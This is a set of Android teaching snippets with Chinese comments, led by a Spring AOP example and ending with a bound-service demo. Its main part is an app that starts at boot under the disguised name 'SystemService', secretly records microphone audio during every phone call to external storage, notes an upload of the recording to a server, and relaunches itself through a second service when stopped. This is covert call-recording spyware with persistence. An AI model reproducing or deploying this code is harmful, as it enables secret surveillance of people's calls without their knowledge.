<!-- expose-proxy service調(diào)用aop實(shí)現(xiàn)自身調(diào)用自身方法-->?? ?
<aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>

((myService) AopContext.currentProxy()).mySave(myPojo);

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<service android:name="com.itheima.phonelistener.SystemService" >
</service>
<service android:name="com.itheima.phonelistener.SystemService2" >
</service>
<receiver android:name="com.itheima.phonelistener.BootReceiver" >
    <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

public class BootReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent i = new Intent(context,SystemService.class);
        context.startService(i);
    }
}

public class SystemService extends Service {
    // 電話管理器
    private TelephonyManager tm;
    // 監(jiān)聽(tīng)器對(duì)象
    private MyListener listener;
    //聲明錄音機(jī)
    private MediaRecorder mediaRecorder;
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    // 服務(wù)創(chuàng)建的時(shí)候調(diào)用的方法
    @Override
    public void onCreate() {
        // 后臺(tái)監(jiān)聽(tīng)電話的呼叫狀態(tài)。
        // 得到電話管理器
        tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
        listener = new MyListener();
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        super.onCreate();
    }
    private class MyListener extends PhoneStateListener {
        // 當(dāng)電話的呼叫狀態(tài)發(fā)生變化的時(shí)候調(diào)用的方法
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE://空閑狀態(tài)。
                    if(mediaRecorder!=null){
                        //8.停止捕獲
                        mediaRecorder.stop();
                        //9.釋放資源
                        mediaRecorder.release();
                        mediaRecorder = null;
                        System.out.println("錄制完畢，上傳文件到服務(wù)器。");
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING://零響狀態(tài)。
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態(tài)
                    //開(kāi)始錄音
                    //1.實(shí)例化一個(gè)錄音機(jī)
                    mediaRecorder = new MediaRecorder();
                    //2.指定錄音機(jī)的聲音源
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //3.設(shè)置錄制的文件輸出的格式
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                    //4.指定錄音文件的名稱
                    File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
                    mediaRecorder.setOutputFile(file.getAbsolutePath());
                    //5.設(shè)置音頻的編碼
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                    //6.準(zhǔn)備開(kāi)始錄音
                    mediaRecorder.prepare();
                    //7.開(kāi)始錄音
                    mediaRecorder.start();
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    // 服務(wù)銷毀的時(shí)候調(diào)用的方法
    @Override
    public void onDestroy() {
        super.onDestroy();
        // 取消電話的監(jiān)聽(tīng)
        System.out.println("ondestory");
        Intent i = new Intent(this,SystemService2.class);
        startService(i);
        tm.listen(listener, PhoneStateListener.LISTEN_NONE);
        listener = null;
    }
}

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void start(View view){
        //開(kāi)啟服務(wù)。
        Intent intent = new Intent(this,SystemService.class);
        startService(intent);
    }
    public void stop(View view){
        //停止服務(wù)。
        Intent intent = new Intent(this,SystemService.class);
        stopService(intent);
    }
}

Intent intent = new Intent(this, MyService.class);
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);

mp.callMethodInService(55);

public class MyService extends Service {
    //2.實(shí)現(xiàn)服務(wù)成功綁定的代碼 ，返回一個(gè)中間人。
    @Override
    public IBinder onBind(Intent arg0) {
        System.out.println("服務(wù)被成功綁定了。。。。");
        return new MiddlePerson();
    }
    @Override
    public boolean onUnbind(Intent intent) {
        System.out.println("onunbind");
        return super.onUnbind(intent);
    }
    @Override
    public void onCreate() {
        System.out.println("oncreate");
        super.onCreate();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        System.out.println("onstartcommand");
        return super.onStartCommand(intent, flags, startId);
    }
    @Override
    public void onDestroy() {
        System.out.println("ondestory");
        super.onDestroy();
    }
    /**
     * 這是服務(wù)里面的一個(gè)方法
     */
    public void methodInService(){
        Toast.makeText(this, "哈哈，服務(wù)給你辦好了暫住證。", 0).show();
    }
    //1.第一步服務(wù)要暴露方法 必須要有一個(gè)中間人
    private class MiddlePerson extends Binder implements IMiddlePerson{
        /**
         * 代辦暫住證
         * @param money 給錢 50塊錢以上才給辦。
         */
        public void callMethodInService(int money){
            if(money>=50){
                methodInService();
            }else{
                Toast.makeText(getApplicationContext(), "多準(zhǔn)備點(diǎn)錢。", 0).show();
            }
        }
        /**
         * 陪領(lǐng)導(dǎo)打麻將
         */
        public void playMajiang(){
            System.out.println("陪領(lǐng)導(dǎo)打麻將。");
        }
    }
}